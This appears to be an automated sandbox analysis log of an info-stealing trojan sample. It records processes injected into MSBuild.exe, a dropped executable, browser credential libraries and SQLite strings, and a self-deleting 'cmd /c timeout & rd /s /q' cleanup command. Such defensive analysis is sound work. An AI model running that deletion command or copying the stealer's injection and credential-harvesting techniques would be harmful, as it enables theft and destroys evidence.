Source: HCAEHDHDAK.exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9912286931818182
Source: a43486128347[1].exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9912286931818182

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/42@4/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C517030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C517030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

1_2_00411807

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\VPWCLBPY.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5420:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3472
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1248
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4036

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: C:\ProgramData\HCAEHDHDAK.exe	Command line argument: MZx	8_2_00062021
Source: C:\ProgramData\HCAEHDHDAK.exe	Command line argument: MZx	8_2_00062021
Source: C:\ProgramData\HCAEHDHDAK.exe	Command line argument: MZx	8_2_00062021

Source: VLSiVR4Qxs.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: BFIJEH.1.dr, IDHDGD.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: VLSiVR4Qxs.exe

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\VLSiVR4Qxs.exe "C:\Users\user\Desktop\VLSiVR4Qxs.exe"
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\HCAEHDHDAK.exe "C:\ProgramData\HCAEHDHDAK.exe"
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 276
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4036 -s 1604
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\HJECAAKKFHCF" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\HCAEHDHDAK.exe "C:\ProgramData\HCAEHDHDAK.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\HJECAAKKFHCF" & exit	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\HCAEHDHDAK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: VLSiVR4Qxs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: VLSiVR4Qxs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: VLSiVR4Qxs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: VLSiVR4Qxs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: VLSiVR4Qxs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: VLSiVR4Qxs.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: VLSiVR4Qxs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: VLSiVR4Qxs.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2751077043.0000000035A67000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2744567642.0000000029B8C000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
